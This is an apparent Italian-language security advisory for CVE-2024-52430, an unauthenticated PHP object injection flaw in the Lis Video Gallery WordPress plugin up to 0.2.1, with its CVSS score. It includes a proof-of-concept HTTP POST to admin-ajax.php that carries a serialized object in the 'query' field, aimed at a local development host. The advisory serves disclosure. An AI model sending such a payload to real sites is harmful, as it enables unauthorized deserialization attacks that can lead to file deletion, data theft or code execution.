CVE-2024-52430

Lis Video Gallery <= 0.2.1 - Iniezione di oggetti PHP non autenticata

Descrizione

Il plugin Lis Video Gallery per WordPress è vulnerabile all'iniezione di oggetti PHP nelle versioni fino alla 0.2.1 inclusa, tramite deserializzazione di input non attendibili. Ciò consente a attaccanti non autenticati di iniettare un oggetto PHP. Non è presente alcuna catena POP nota nel software vulnerabile. Se una catena POP è presente tramite un plugin o tema aggiuntivo installato sul sistema di destinazione, potrebbe consentire all'attaccante di eliminare file arbitrari, recuperare dati sensibili o eseguire codice.

CVE: CVE-2024-52430
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: lis-video-gallery

PoC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

action=loadmore&query=O%3a20%3a%22PHP_Object_Injection%22%3a0%3a%7b%7d&page=1

PHP object injection has occurred.